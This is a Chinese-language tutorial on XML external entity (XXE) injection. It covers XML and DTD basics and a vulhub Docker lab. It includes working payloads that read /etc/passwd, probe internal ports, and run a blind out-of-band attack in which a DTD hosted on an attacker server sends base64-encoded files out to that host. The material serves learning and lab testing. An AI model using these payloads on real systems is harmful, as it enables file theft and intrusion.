XXE漏洞
外部实体注入攻击(XXE)
漏洞简介
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
漏洞危害
引用外部实体任意文件读取
探测内网端口
命令执行
DOS攻击
什么是xml
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
XML把数据从HTML分离,XML是独立于软件和硬件的信息传输工具。
基本语法:
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
实体引用,这里看个例子,如果你把字符 “<” 放在 XML,素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误: <message>if salary <1000 then</message> ,为了避免错误。我们用实体引用<来代替”<”字符。XML中,有5个预定义的实体引用。
XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。
在 XML 中,空格会被保留,多个空格不会被合并为一个。
<bookstore>
<book category=”COOKING”>
<title> Everyday</title>
<author>Me</author>
<year>2020</year>
<price>30.00</price>
</book>
</bookstore>
什么是DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
最常见的DTD声明
<!DOCTYPE html>
<html>
<head>
<title>文档的标题</title>
</head>
<body>
文档的内容......
</body>
</html>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>admin</to>
<from>Alpenliebe</from>
<title>test</title>
<body>hello world</body>
</note>
不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用& <>实体来分别替换
PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开
note.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
note.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>admin</to>
<from>Alpenliebe</from>
<title>test</title>
<body>hello world</body>
</note>
DTD元素
DTD-实体(重要)
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体又分为一般实体和参数实体
实体引用是对实体的引用。
实体可以在内部或外部进行声明
内部实体与外部实体
实体类型 | 内部实体 | 外部实体 |
---|---|---|
语法 | <!ENTITY 实体名称 “实体值”> | <!ENTITY 实体名称 system “URL/URI”> |
例子 | <!ENTITY test “test”> | <!ENTITY test system “test.dtd”> |
XML例子 | <author>&test;</author> | <author>&test;</author> |
内部实体
<!ENTITY 实体名称 “实体值”>
例子代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<xxe>&file;</xxe>
外部实体
libxml2.9.0以后,默认不解析外部实体
php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。
例子代码
xxe.dtd中
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
xxe.xml中
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "xxe.dtd">
]>
<name>&xxe;</name>
实验环境搭建
安装centos7
安装docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.27.4/docker-compose-(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version
下载这个项目的所有文件
https://github.com/vulhub/vulhub/tree/master/php/php_xxe
启动环境
docker-compose up -d
如果需要改动环境的端口
就在docker-compose.yml修改映射端口
如果要修改网站目录下的代码就在www目录下进行增删改即可
PHP支持的文件操作协议(常见)
file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php
http协议,http://127.0.0.1:80
有回显的XXE
任意文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
还可以用我提供的xxe.py读取
扫描内网端口
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ELEMENT xxe SYSTEM “http://127.0.0.1:80”>]>
<root>
<name>&xxe;</name>
</root>
无回显的XXE
vps上的恶意dtd文件,这里需要注意,务必要用php://filter协议base64编码,否则系统会提示找不到uri资源,导致无法请求成功
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.51.48:8888/%payload;'>">
%int;
%trick;
发送payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.51.48:8888/eyi.dtd"> %remote;]>
无回显攻击流程:
先调用%remote,请求远程服务器(攻击服务器)上的eyi.dtd。
再调用 eyi.dtd中的 %payload。%payload 获取受攻击的服务器上面的敏感文件,然后将 %%payload的返回结果传到%int 。
然后调用 %trick; 把读取到的数据发送到远程服务器上。